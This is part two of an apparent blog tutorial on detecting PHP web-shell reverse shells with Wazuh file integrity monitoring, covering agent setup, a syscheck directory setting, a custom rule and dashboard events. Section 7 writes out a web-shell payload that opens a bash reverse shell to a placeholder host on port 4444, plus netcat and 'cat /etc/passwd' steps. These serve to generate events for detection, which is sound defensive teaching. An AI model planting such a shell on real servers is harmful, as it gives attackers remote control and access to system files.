This post will show how attacking and defending servers reverse shell

Agenda

Introduction to this post and concepts needed (in the previous page)
Preparing our Environment (on the previous page)
Attack the server (on the previous page)
Defend the server
Installing Wazuh-agent
Wazuh server configuration
Make a new attack
Analyze events
Further tasks
Wrap up

Previos post here

4 - Defend the serve: Introduction

In the previous post, we described how our server could be exposed to be attacked through the reverse shell technique. In this post, we see how to detect if our server has a reverse script in it using Wazuh's capability: file integrity monitoring (FIM).

4.1 - Using file integrity monitoring (FIM) to detect the creation and modification of web shell files

The Wazuh FIM module can detect file changes on web-accessible directories in near real-time and alert system administrators. We'll use this module to detect when PHP files are created or modified in "var/www/html/" folder. Additionally, FIM scans the contents of the files to monitor for signatures of web shells when the files are modified. In the above example, we use this folder as the root of our web app.

5 - Installing the Wazuh agent in our web server

Here we'll install and configure the Wazuh-agent in the web app server, to do this we have to run these commands. Firstly, check if we already have installed a previous version:

sudo systemctl status wazuh-agent

Download the Wazuh-agent version from its link created in the dashboard:

sudo curl -so wazuh-agent......

Then run these mandatory commands:

sudo systemctl daemon-reload
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent

Only to check if the service is active and running, we run:

With this, we should be able to see this new agent in our list of agents in Wazuh admin server:

5.1 - Ubuntu endpoint configuration

1. Add the following configuration to the Wazuh agent /var/ossec/etc/ossec.conf file within the <syscheck> block. This detects file changes in the /var/www/html/ directory. So, we open this file with some text editor that you want, in this example nano:

Then we have to add this line around line 110: <directories realtime="yes" check_all="yes" report_changes="yes">/var/www/html</directories> . Like this:

2. Restart the Wazuh agent to apply the configuration changes:

$ sudo systemctl restart wazuh-agent

Image 23: Restarting wazuh service

6 - Wazuh server configuration

1. We need to create a custom rule to check the integrity of the "var/www/html/" folder. So, we need to go to our Wazuh Admin dashboard and select the next options:

Then, copy the next code (code here) into the text box and click on the save button like this:

webshell_rules.xml

Image 25: Saving the new rule

Then go back to the main page of Wazuh admin and go to "Management" tab and click on the "Status" option:

2 . We need to restart the Wazuh manager service in order to apply the rule just created:

Image 27: Restarting wazuh manager

7 - Make a new attack

Continuing with the previous chapter of this post, we assume we know how can we carry out a reverse shell attack. So, here are the steps without explanation:

create a new file on our PC with this command:

 touch /~/webshell-script.php

 echo -e "?php exec('/bin/bash -c \"bash -i & /dev/tcp/OUR_IP/4444 0>&1\"');?>" > /~/webshell-script.php

Upload this file to our server through the browser.
Figure out the new file created in our server and access it in order to run and open the connection.
In our PC (attacker pc) we need to run netcat connection: nc 10.xx.xx.xx 4444 and run some simple commands like: whoami , cat /etc/passwd

8 - Checking the result through the Wazuh dashboard admin

First of all, we need to go to our Wazuh Admin Dashboard and select our agent which is running in the web app server. As you can see in the next image, there is some new information in the "FIM Recent events" section (3 new events, all of them detected by our new rule):

We can see these events in more detail by clicking these ones. AS you can see in the next image, the agent detested that

as we can see through the event monitor dashboard

9 - Further Steps

These concepts are not included in this tutorial, they are only to know that we can improve this solution to our needs or customize it.

Use a new script that responds to a new change detected.

Wazuh let us create a new file or script that can be run in our server (where the Wazuh agent is running) to take some action to avoid greater damage to our server.

For example, we can create a new script written in Python which is in some folder on our server, that the wazuh-agent run when the Wazuh master detects a change in the /var/www/html folder. This script could remove automatically the file which has changed, or replace it with a backup file with the same content, stop Apache service, etc.
Delete a container where our web app is running.

If we are using containers to run our web app we could download our containers and up the same, with this action the container with the script should be removed and we'll safe that the new server will have not that script.
Send an email to people who must take care of these attacks on our infrastructure

Wazuh let us create alerts through emails or other vias. So, if we define a new alert when this attack is happening we can inform the whole cybersecurity department of this situation to take some action.
Some folders need to be excluded from this scan.

We can save and change some files in our web app, for example, logs or files that our customers upload. So it's necessary to exclude from our scan some folders such as: "/logs" or "uploaded_file", this depends on our folder structure.

10 - Wrap up

It is a good approach to consider that our web application is always exposed to security attacks by third parties, regardless of how we have protected it. Therefore, it is always important to add more security measures to protect it.

Although our scenario is extremely simple. It is easy to take it to a real application, for this the future tasks explained above will help you.

Despite this, it's strongly recommended to organizations prevent post-exploitation activities from happening in the first place. Scanning and patching system and application vulnerabilities and performing security policy monitoring for system misconfigurations can achieve this.

Any comment is welcome.